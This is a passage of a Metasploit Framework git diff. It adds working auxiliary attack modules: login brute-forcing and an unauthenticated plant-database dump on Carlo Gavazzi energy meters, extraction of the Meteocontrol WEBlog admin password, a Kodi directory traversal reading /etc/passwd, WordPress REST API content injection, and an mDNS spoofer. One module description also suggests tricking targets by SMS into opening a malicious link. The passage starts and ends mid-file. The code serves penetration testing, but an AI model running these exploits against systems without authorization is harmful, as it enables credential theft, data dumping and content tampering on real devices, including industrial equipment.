store_loot('dnaLIMS.traversal.file', 'application/octet-stream', ip, res.body, File.basename(file)) + print_good("File saved as: #{p}") + end + +end + + diff --git a/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb new file mode 100644 index 0000000000..96d9d7d8b1 --- /dev/null +++ b/modules/auxiliary/scanner/http/gavazzi_em_login_loot.rb @@ -0,0 +1,264 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Carlo Gavazzi Energy Meters - Login Brute Force, Extract Info and Dump Plant Database', + 'Description' => %{ + This module scans for Carlo Gavazzi Energy Meters login portals, performs a login brute force attack, enumerates device firmware version, and attempt to extract the SMTP configuration. A valid, admin privileged user is required to extract the SMTP password. In some older firmware versions, the SMTP config can be retrieved without any authentication. The module also exploits an access control vulnerability which allows an unauthenticated user to remotely dump the database file EWplant.db. This db file contains information such as power/energy utilization data, tariffs, and revenue statistics. Vulnerable firmware versions include - VMU-C EM prior to firmware Version A11_U05 and VMU-C PV prior to firmware Version A17. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-012-03'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE, + 'DefaultOptions' => + { + 'SSL' => false, + 'VERBOSE' => true + })) + + register_options( + [ + Opt::RPORT(80), # Application may run on a different port too. Change port accordingly. + OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']), + OptString.new('PASSWORD', [true, 'A specific password to authenticate with', 'admin']) + ], self.class + ) + end + + def run_host(ip) + unless is_app_carlogavazzi? + return + end + + each_user_pass do |user, pass| + do_login(user, pass) + end + ewplantdb + end + + # + # What's the point of running this module if the target actually isn't Carlo Gavazzi box + # + + def is_app_carlogavazzi? + begin + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + good_response = ( + res && + res.code == 200 && + res.body.include?('Accedi') || res.body.include?('Gavazzi') || res.body.include?('styleVMUC.css') || res.body.include?('VMUC') + ) + + if good_response + vprint_good("#{rhost}:#{rport} - Running Carlo Gavazzi VMU-C Web Management portal...") + return true + else + vprint_error("#{rhost}:#{rport} - Application is not Carlo Gavazzi. Module will not continue.") + return false + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + # + # Brute-force the login page + # + + def do_login(user, pass) + vprint_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}") + + # Set Cookie - Box is vuln to Session Fixation. Generating a random cookie for use. + randomvalue = Rex::Text.rand_text_alphanumeric(26) + cookie_value = 'PHPSESSID=' + "#{randomvalue}" + + begin + res = send_request_cgi( + { + 'uri' => '/login.php', + 'method' => 'POST', + 'headers' => { + 'Cookie' => cookie_value + }, + 'vars_post' => + { + 'username' => user, + 'password' => pass, + 'Entra' => 'Sign+In' # Also - 'Entra' => 'Entra' # Seen to vary in some models + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + good_response = ( + res && + res.code == 200 && + res.body.include?('Login in progress') || res.body.include?('Login in corso') && + res.body.match(/id="error" value="2"/) || (res.code == 302 && res.headers['Location'] == 'disclaimer.php') + ) + + if good_response + print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + + # Extract firmware version + begin + res = send_request_cgi( + { + 'uri' => '/setupfirmware.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => cookie_value + } + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + if res.body.include?('Firmware Version') || res.body.include?('Versione Firmware') + fw_ver = res.body.match(/Ver. (.*)[$<]/)[1] + + if !fw_ver.nil? + print_good("#{rhost}:#{rport} - Firmware version #{fw_ver}...") + + report_cred( + ip: rhost, + port: rport, + service_name: "Carlo Gavazzi Energy Meter [Firmware ver #{fw_ver}]", + user: user, + password: pass + ) + end + end + end + + # + # Extract SMTP config + # + + begin + res = send_request_cgi( + { + 'uri' => '/setupmail.php', + 'method' => 'GET', + 'headers' => { + 'Cookie' => cookie_value + } + } + ) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if (res && res.code == 200 && res.body.include?('SMTP')) + dirty_smtp_server = res.body.match(/smtp" value=(.*)[$=]/)[1] + dirty_smtp_user = res.body.match(/usersmtp" value=(.*)[$=]/)[1] + dirty_smtp_pass = res.body.match(/passwordsmtp" value=(.*)[$=]/)[1] + + if (!dirty_smtp_server.nil?) && (!dirty_smtp_user.nil?) && (!dirty_smtp_pass.nil?) + smtp_server = dirty_smtp_server.match(/[$"](.*)[$"]/) + smtp_user = dirty_smtp_user.match(/[$"](.*)[$"]/) + smtp_pass = dirty_smtp_pass.match(/[$"](.*)[$"]/) + + if (!smtp_server.nil?) && (!smtp_user.nil?) && (!smtp_pass.nil?) + print_good("#{rhost}:#{rport} - SMTP server: #{smtp_server}, SMTP username: #{smtp_user}, SMTP password: #{smtp_pass}") + end + end + else + vprint_error("#{rhost}:#{rport} - SMTP config could not be retrieved. Check if the user has administrative privileges") + end + return :next_user + else + print_error("FAILED LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}") + end + end + + # + # Dump EWplant.db database file - No authentication required + # + + def ewplantdb + begin + res = send_request_cgi( + { + 'uri' => '/cfg/EWplant.db', + 'method' => 'GET' + } + ) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return :abort + end + + if res && res.code == 200 + print_status("#{rhost}:#{rport} - dumping EWplant.db") + print_good("#{rhost}:#{rport} - EWplant.db retrieved successfully!") + loot_name = 'EWplant.db' + loot_type = 'SQLite_db/text' + loot_desc = 'Carlo Gavazzi EM - EWplant.db' + path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body , loot_desc) + print_good("#{rhost}:#{rport} - File saved in: #{path}") + else + vprint_error("#{rhost}:#{rport} - Failed to retrieve EWplant.db. Set a higher HTTPCLIENTTIMEOUT and try again. Else, check if target is running vulnerable version.?") + return + end + end +end diff --git a/modules/auxiliary/scanner/http/http_version.rb b/modules/auxiliary/scanner/http/http_version.rb index 2482947127..9843f1749e 100644 --- a/modules/auxiliary/scanner/http/http_version.rb +++ b/modules/auxiliary/scanner/http/http_version.rb @@ -36,6 +36,7 @@ class MetasploitModule < Msf::Auxiliary res = send_request_raw({ 'uri' => '/', 'method' => 'GET' }) fp = http_fingerprint(:response => res) print_status("#{ip}:#{rport} #{fp}") if fp + report_service(:host => rhost, :port => rport, :sname => (ssl ? 'https' : 'http'), :info => fp) rescue ::Timeout::Error, ::Errno::EPIPE ensure disconnect diff --git a/modules/auxiliary/scanner/http/kodi_traversal.rb b/modules/auxiliary/scanner/http/kodi_traversal.rb new file mode 100644 index 0000000000..b3997770ca --- /dev/null +++ b/modules/auxiliary/scanner/http/kodi_traversal.rb @@ -0,0 +1,84 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Kodi 17.0 Local File Inclusion Vulnerability', + 'Description' => %q{ + This module exploits a directory traversal flaw found in Kodi before 17.1. + }, + 'References' => + [ + ['CVE', '2017-5982'], + ], + 'Author' => + [ + 'Eric Flokstra', #Original + 'jvoisin' + ], + 'License' => MSF_LICENSE, + 'DisclosureDate' => "Feb 12 2017" + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path to the web application', '/']), + OptString.new('FILE', [true, 'The file to obtain', '/etc/passwd']), + OptInt.new('DEPTH', [true, 'The max traversal depth to root directory', 10]) + ], self.class) + end + + + def run_host(ip) + base = normalize_uri(target_uri.path) + + peer = "#{ip}:#{rport}" + + print_status("Reading '#{datastore['FILE']}'") + + traverse = '../' * datastore['DEPTH'] + f = datastore['FILE'] + f = f[1, f.length] if f =~ /^\// + f = "image/image://" + Rex::Text.uri_encode(traverse + f, "hex-all") + + uri = normalize_uri(base, Rex::Text.uri_encode(f, "hex-all")) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + + if res and res.code != 200 + print_error("Unable to read '#{datastore['FILE']}', possibily because:") + print_error("\t1. File does not exist.") + print_error("\t2. No permission.") + + elsif res and res.code == 200 + data = res.body.lstrip + fname = datastore['FILE'] + p = store_loot( + 'kodi', + 'application/octet-stream', + ip, + data, + fname + ) + + vprint_line(data) + print_good("#{fname} stored as '#{p}'") + + else + print_error('Fail to obtain file for some unknown reason') + end + end + +end diff --git a/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb new file mode 100644 index 0000000000..41bcf70ae2 --- /dev/null +++ b/modules/auxiliary/scanner/http/meteocontrol_weblog_extractadmin.rb @@ -0,0 +1,136 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Meteocontrol WEBlog Password Extractor', + 'Description' => %{ + This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog appliances (software version < May 2016 release) to extract Administrator password for the device management portal. + }, + 'References' => + [ + ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01'], + ['CVE', '2016-2296'], + ['CVE', '2016-2298'] + ], + 'Author' => + [ + 'Karn Ganeshen ' + ], + 'License' => MSF_LICENSE)) + + register_options( + [ + Opt::RPORT(8080) # Application may run on a different port too. Change port accordingly. + ], self.class + ) + end + + def run_host(ip) + unless is_app_metweblog? + return + end + + do_extract + end + + # + # Check if App is Meteocontrol WEBlog + # + + def is_app_metweblog? + begin + res = send_request_cgi({ + 'uri' => '/html/en/index.html', + 'method' => 'GET' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return false + end + + if (res && res.code == 200 && (res.headers['Server'] && res.headers['Server'].include?('IS2 Web Server') || res.body.include?("WEB'log"))) + print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...") + return true + else + print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.") + return false + end + end + + # + # Extract Administrator Password + # + + def do_extract() + print_status("#{rhost}:#{rport} - Attempting to extract Administrator password...") + begin + res = send_request_cgi({ + 'uri' => '/html/en/confAccessProt.html', + 'method' => 'GET' + }) + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed...") + return + end + + if (res && res.code == 200 && (res.body.include?('szWebAdminPassword') || res.body=~ /Admin Monitoring/)) + get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/) + if get_admin_password[1] + admin_password = get_admin_password[1] + print_good("#{rhost}:#{rport} - Password is #{admin_password}") + report_cred( + ip: rhost, + port: rport, + service_name: 'Meteocontrol WEBlog Management Portal', + password: admin_password, + proof: res.body + ) + else + # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Check login manually on http://IP:port/html/en/confAccessProt.html for the szWebAdminPassword field's value. + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") + end + else + print_error("Check login manually on http://#{rhost}:#{rport}/html/en/confAccessProt.html for the 'szWebAdminPassword' field's value.") + end + end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/http/owa_login.rb b/modules/auxiliary/scanner/http/owa_login.rb index 6ad02d5caf..c3536f9950 100644 --- a/modules/auxiliary/scanner/http/owa_login.rb +++ b/modules/auxiliary/scanner/http/owa_login.rb @@ -29,7 +29,8 @@ class MetasploitModule < Msf::Auxiliary 'Brandon Knight', 'Pete (Bokojan) Arzamendi', # Outlook 2013 updates 'Nate Power', # HTTP timing option - 'Chapman (R3naissance) Schleiss' # Save username in creds if response is less + 'Chapman (R3naissance) Schleiss', # Save username in creds if response is less + 'Andrew Smith' # valid creds, no mailbox ], 'License' => MSF_LICENSE, 'Actions' => @@ -91,7 +92,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('AD_DOMAIN', [ false, "Optional AD domain to prepend to usernames", '']) ], self.class) - deregister_options('BLANK_PASSWORDS', 'RHOSTS','PASSWORD','USERNAME') + deregister_options('BLANK_PASSWORDS', 'RHOSTS') end def setup @@ -218,6 +219,19 @@ class MetasploitModule < Msf::Auxiliary end # No password change required moving on. + # Check for valid login but no mailbox setup + if res.headers['location'] =~ /owa/ and res.headers['location'] !~ /reason/ + print_good("#{msg} SUCCESSFUL LOGIN. #{elapsed_time} '#{user}' : '#{pass}': NOTE a mailbox is not setup") + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'owa', + user: user, + password: pass + ) + return :next_user + end + unless location = res.headers['location'] print_error("#{msg} No HTTP redirect. This is not OWA 2013, aborting.") return :abort diff --git a/modules/auxiliary/scanner/http/wordpress_content_injection.rb b/modules/auxiliary/scanner/http/wordpress_content_injection.rb new file mode 100644 index 0000000000..06629910c0 --- /dev/null +++ b/modules/auxiliary/scanner/http/wordpress_content_injection.rb @@ -0,0 +1,217 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::HTTP::Wordpress + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'WordPress REST API Content Injection', + 'Description' => %q{ + This module exploits a content injection vulnerability in WordPress + versions 4.7 and 4.7.1 via type juggling in the REST API. + }, + 'Author' => [ + 'Marc Montpas', # Vulnerability discovery + 'wvu' # Metasploit module + ], + 'References' => [ + ['WPVDB', '8734'], + ['URL', 'https://blog.sucuri.net/2017/02/content-injection-vulnerability-wordpress-rest-api.html'], + ['URL', 'https://secure.php.net/manual/en/language.types.type-juggling.php'], + ['URL', 'https://developer.wordpress.org/rest-api/using-the-rest-api/discovery/'], + ['URL', 'https://developer.wordpress.org/rest-api/reference/posts/'] + ], + 'DisclosureDate' => 'Feb 1 2017', + 'License' => MSF_LICENSE, + 'Actions' => [ + ['LIST', 'Description' => 'List posts'], + ['UPDATE', 'Description' => 'Update post'] + ], + 'DefaultAction' => 'LIST' + )) + + register_options([ + OptInt.new('POST_ID', [false, 'Post ID (0 for all)', 0]), + OptString.new('POST_TITLE', [false, 'Post title']), + OptString.new('POST_CONTENT', [false, 'Post content']), + OptString.new('POST_PASSWORD', [false, 'Post password (\'\' for none)']) + ]) + + register_advanced_options([ + OptInt.new('PostCount', [false, 'Number of posts to list', 100]), + OptString.new('SearchTerm', [false, 'Search term when listing posts']) + ]) + end + + def check_host(_ip) + if (version = wordpress_version) + version = Gem::Version.new(version) + else + return Exploit::CheckCode::Safe + end + + vprint_status("WordPress #{version}: #{full_uri}") + + if version.between?(Gem::Version.new('4.7'), Gem::Version.new('4.7.1')) + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Detected + end + end + + def run_host(_ip) + if !wordpress_and_online? + print_error("WordPress not detected at #{full_uri}") + return + end + + case action.name + when 'LIST' + do_list + when 'UPDATE' + do_update + end + end + + def do_list + posts_to_list = list_posts + + if posts_to_list.empty? + print_status("No posts found at #{full_uri}") + return + end + + tbl = Rex::Text::Table.new( + 'Header' => "Posts at #{full_uri} (REST API: #{get_rest_api})", + 'Columns' => %w{ID Title URL Password} + ) + + posts_to_list.each do |post| + tbl << [ + post[:id], + Rex::Text.html_decode(post[:title]), + post[:url], + post[:password] ? 'Yes' : 'No' + ] + end + + print_line(tbl.to_s) + end + + def do_update + posts_to_update = [] + + if datastore['POST_ID'] == 0 + posts_to_update = list_posts + else + posts_to_update << {id: datastore['POST_ID']} + end + + if posts_to_update.empty? + print_status("No posts to update at #{full_uri}") + return + end + + posts_to_update.each do |post| + res = update_post(post[:id], + title: datastore['POST_TITLE'], + content: datastore['POST_CONTENT'], + password: datastore['POST_PASSWORD'] + ) + + post_url = full_uri(wordpress_url_post(post[:id])) + + if res && res.code == 200 + print_good("SUCCESS: #{post_url} (Post updated)") + elsif res && (error = res.get_json_document['message']) + print_error("FAILURE: #{post_url} (#{error})") + end + end + end + + def list_posts + posts = [] + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(get_rest_api, 'posts'), + 'vars_get' => { + 'per_page' => datastore['PostCount'], + 'search' => datastore['SearchTerm'] + } + }, 3.5) + + if res && res.code == 200 + res.get_json_document.each do |post| + posts << { + id: post['id'], + title: post['title']['rendered'], + url: post['link'], + password: post['content']['protected'] + } + end + elsif res && (error = res.get_json_document['message']) + vprint_error("Failed to list posts: #{error}") + end + + posts + end + + def update_post(id, opts = {}) + payload = {} + + payload[:id] = "#{id}#{Rex::Text.rand_text_alpha(8)}" + payload[:title] = opts[:title] if opts[:title] + payload[:content] = opts[:content] if opts[:content] + payload[:password] = opts[:password] if opts[:password] + + send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(get_rest_api, 'posts', id), + 'ctype' => 'application/json', + 'data' => payload.to_json + }, 3.5) + end + + def get_rest_api + return @rest_api if @rest_api + + res = send_request_cgi!({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }, 3.5) + + if res && res.code == 200 + @rest_api = parse_rest_api(res) + end + + @rest_api ||= wordpress_url_rest_api + end + + def parse_rest_api(res) + rest_api = nil + + link = res.headers['Link'] + html = res.get_html_document + + if link =~ %r{^<(.*)>; rel="https://api\.w\.org/"$} + rest_api = route_rest_api($1) + vprint_status('REST API found in Link header') + elsif (xpath = html.at('//link[@rel = "https://api.w.org/"]/@href')) + rest_api = route_rest_api(xpath) + vprint_status('REST API found in HTML document') + end + + rest_api + end + + def route_rest_api(rest_api) + normalize_uri(path_from_uri(rest_api), 'wp/v2') + end + +end diff --git a/modules/auxiliary/scanner/portscan/tcp.rb b/modules/auxiliary/scanner/portscan/tcp.rb index e521c053fd..ab240e4f75 100644 --- a/modules/auxiliary/scanner/portscan/tcp.rb +++ b/modules/auxiliary/scanner/portscan/tcp.rb @@ -86,7 +86,6 @@ class MetasploitModule < Msf::Auxiliary end rescue ::Rex::ConnectionRefused vprint_status("#{ip}:#{port} - TCP closed") - r << [ip,port,"closed"] rescue ::Rex::ConnectionError, ::IOError, ::Timeout::Error rescue ::Rex::Post::Meterpreter::RequestError rescue ::Interrupt diff --git a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb index 17e877aa08..0e932348c2 100644 --- a/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb +++ b/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb @@ -70,7 +70,7 @@ class MetasploitModule < Msf::Auxiliary #grab Canon sessionid cookie idcookie = res.nil? ? nil : res.get_cookies - if res.code == 301 || res.code == 302 && res.headers.include?('Location') + if res && (res.code == 301 || res.code == 302 && res.headers.include?('Location')) print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'") #grab Canon IR= session cookie diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index e10eae5dab..a0e6c3b91f 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -265,6 +265,11 @@ class MetasploitModule < Msf::Auxiliary valid! end + # Override CredentialCollection#has_privates? + def has_privates? + !@key_data.empty? + end + def realm nil end diff --git a/modules/auxiliary/scanner/telnet/telnet_version.rb b/modules/auxiliary/scanner/telnet/telnet_version.rb index 3ec68ab891..55043b4e2e 100644 --- a/modules/auxiliary/scanner/telnet/telnet_version.rb +++ b/modules/auxiliary/scanner/telnet/telnet_version.rb @@ -39,11 +39,15 @@ class MetasploitModule < Msf::Auxiliary print_status("#{ip}:#{rport} TELNET #{banner_santized}") report_service(:host => rhost, :port => rport, :name => "telnet", :info => banner_santized) end - rescue ::Rex::ConnectionError - rescue Timeout::Error + rescue ::Rex::ConnectionError, ::Errno::ECONNRESET => e + print_error("A network issue has occurred: #{e.message}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") + rescue Timeout::Error => e print_error("#{target_host}:#{rport}, Server timed out after #{to} seconds. Skipping.") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") rescue ::Exception => e print_error("#{e} #{e.backtrace}") + elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}") end end end diff --git a/modules/auxiliary/server/android_browsable_msf_launch.rb b/modules/auxiliary/server/android_browsable_msf_launch.rb index 6763597f09..dbe22bad58 100644 --- a/modules/auxiliary/server/android_browsable_msf_launch.rb +++ b/modules/auxiliary/server/android_browsable_msf_launch.rb @@ -16,6 +16,9 @@ class MetasploitModule < Msf::Auxiliary This module allows you to open an android meterpreter via a browser. An Android meterpreter must be installed as an application beforehand on the target device in order to use this. + + For best results, you can consider using the auxiliary/client/sms/send_text to + trick your target into opening the malicious link, and wake up Meterpreter. }, 'License' => MSF_LICENSE, 'Author' => [ 'sinn3r' ], diff --git a/modules/auxiliary/spoof/mdns/mdns_response.rb b/modules/auxiliary/spoof/mdns/mdns_response.rb new file mode 100644 index 0000000000..ef6cf38f8c --- /dev/null +++ b/modules/auxiliary/spoof/mdns/mdns_response.rb @@ -0,0 +1,253 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'socket' +require 'ipaddr' +require 'net/dns' + +class MetasploitModule < Msf::Auxiliary + +include Msf::Exploit::Capture + +attr_accessor :sock, :thread + + + def initialize + super( + 'Name' => 'mDNS Spoofer', + 'Description' => %q{ + This module will listen for mDNS multicast requests on 5353/udp for A and AAAA record queries, and respond with a spoofed IP address (assuming the request matches our regex). + }, + 'Author' => [ 'Joe Testa ', 'James Lee ', 'Robin Francois ' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'URL', 'https://tools.ietf.org/html/rfc6762' ] + ], + + 'Actions' => + [ + [ 'Service' ] + ], + 'PassiveActions' => + [ + 'Service' + ], + 'DefaultAction' => 'Service' + ) + + register_options([ + OptAddress.new('SPOOFIP4', [ true, "IPv4 address with which to spoof A-record queries", ""]), + OptAddress.new('SPOOFIP6', [ false, "IPv6 address with which to spoof AAAA-record queries", ""]), + OptRegexp.new('REGEX', [ true, "Regex applied to the mDNS to determine if spoofed reply is sent", '.*']), + OptInt.new('TTL', [ false, "Time To Live for the spoofed response (in seconds)", 120]), + ]) + + deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER') + self.thread = nil + self.sock = nil + end + + def dispatch_request(packet, rhost, src_port) + rhost = ::IPAddr.new(rhost) + + # `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped + # addr like "::ffff:192.168.0.1" when the interface we're listening + # on has an IPv6 address. Convert it to just the v4 addr + if rhost.ipv4_mapped? + rhost = rhost.native + end + + # Parse the incoming MDNS packet. Quit if an exception was thrown. + dns_pkt = nil + begin + dns_pkt = ::Net::DNS::Packet.parse(packet) + rescue + return + end + + spoof4 = ::IPAddr.new(datastore['SPOOFIP4']) + spoof6 = ::IPAddr.new(datastore['SPOOFIP6']) rescue '' + + # Turn this packet into an authoritative response. + dns_pkt.header.qr = 1 + dns_pkt.header.aa = 1 + + qm = true + dns_pkt.question.each do |question| + name = question.qName + if datastore['REGEX'] != '.*' + unless name =~ /#{datastore['REGEX']}/i + vprint_status("#{rhost.to_s.ljust 16} mDNS - #{name} did not match REGEX \"#{datastore['REGEX']}\"") + next + end + end + + # Check if the query is the "QU" type, which implies that we need to send a unicast response, instead of a multicast response. + if question.qClass.to_i == 32769 # = 0x8001 = Class: IN, with QU type + qm = false + end + + # qType is not a Integer, so to compare it with `case` we have to + # convert it + responding_with = nil + case question.qType.to_i + when ::Net::DNS::A + dns_pkt.answer << ::Net::DNS::RR::A.new( + :name => name, + :ttl => datastore['TTL'], + :cls => 0x8001, # Class IN, with flush cache flag + :type => ::Net::DNS::A, + :address => spoof4.to_s + ) + responding_with = spoof4.to_s + when ::Net::DNS::AAAA + if spoof6 != '' + dns_pkt.answer << ::Net::DNS::RR::AAAA.new( + :name => name, + :ttl => datastore['TTL'], + :cls => 0x8001, # Class IN, with flush cache flag + :type => ::Net::DNS::AAAA, + :address => spoof6.to_s + ) + responding_with = spoof6.to_s + end + else + # Skip PTR, SRV, etc. records. + next + end + + # If we are responding to this query, and we haven't spammed stdout recently, print a notification. + if not responding_with.nil? and should_print_reply?(name) + print_good("#{rhost.to_s.ljust 16} mDNS - #{name} matches regex, responding with #{responding_with}") + end + end + + # Clear the questions from the responses. They aren't observed in legit responses. + dns_pkt.question.clear() + + # If we didn't find anything we want to spoof, don't send any + # packets + return if dns_pkt.answer.empty? + + begin + udp = ::PacketFu::UDPHeader.new( + :udp_src => 5353, + :udp_dst => src_port, + :body => dns_pkt.data + ) + rescue + return + end + udp.udp_recalc + + # Set the destination to the requesting host. Otherwise, if this is a "QM" query, we will multicast the response. + dst = rhost + if rhost.ipv4? + if qm + dst = ::IPAddr.new('224.0.0.251') + end + ip_pkt = ::PacketFu::IPPacket.new( + :ip_src => spoof4.hton, + :ip_dst => dst.hton, + :ip_proto => 0x11, # UDP + :body => udp + ) + elsif rhost.ipv6? + if qm + dst = ::IPAddr.new('ff02::fb') + end + ip_pkt = ::PacketFu::IPv6Packet.new( + :ipv6_src => spoof6.hton, + :ipv6_dst => dst.hton, + :ip_proto => 0x11, # UDP + :body => udp + ) + else + # Should never get here + print_error("IP version is not 4 or 6. Failed to parse?") + return + end + ip_pkt.recalc + + capture_sendto(ip_pkt, rhost.to_s, true) + end + + def monitor_socket + while true + rds = [self.sock] + wds = [] + eds = [self.sock] + + r,_,_ = ::IO.select(rds,wds,eds,0.25) + + if (r != nil and r[0] == self.sock) + packet, host, port = self.sock.recvfrom(65535) + dispatch_request(packet, host, port) + end + end + end + + + # Don't spam with success, just throttle to every 10 seconds + # per host + def should_print_reply?(host) + @notified_times ||= {} + now = Time.now.utc + @notified_times[host] ||= now + last_notified = now - @notified_times[host] + if last_notified == 0 or last_notified > 10 + @notified_times[host] = now + else + false + end + end + + def run + check_pcaprub_loaded() + ::Socket.do_not_reverse_lookup = true # Mac OS X workaround + + # Avoid receiving extraneous traffic on our send socket + open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'}) + + # Multicast Address for LLMNR + multicast_addr = ::IPAddr.new("224.0.0.251") + + # The bind address here will determine which interface we receive + # multicast packets from. If the address is INADDR_ANY, we get them + # from all interfaces, so try to restrict if we can, but fall back + # if we can't + bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0" + + optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton + self.sock = Rex::Socket.create_udp( + # This must be INADDR_ANY to receive multicast packets + 'LocalHost' => "0.0.0.0", + 'LocalPort' => 5353, + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + ) + self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1) + self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval) + + self.thread = Rex::ThreadFactory.spawn("MDNSServerMonitor", false) { + 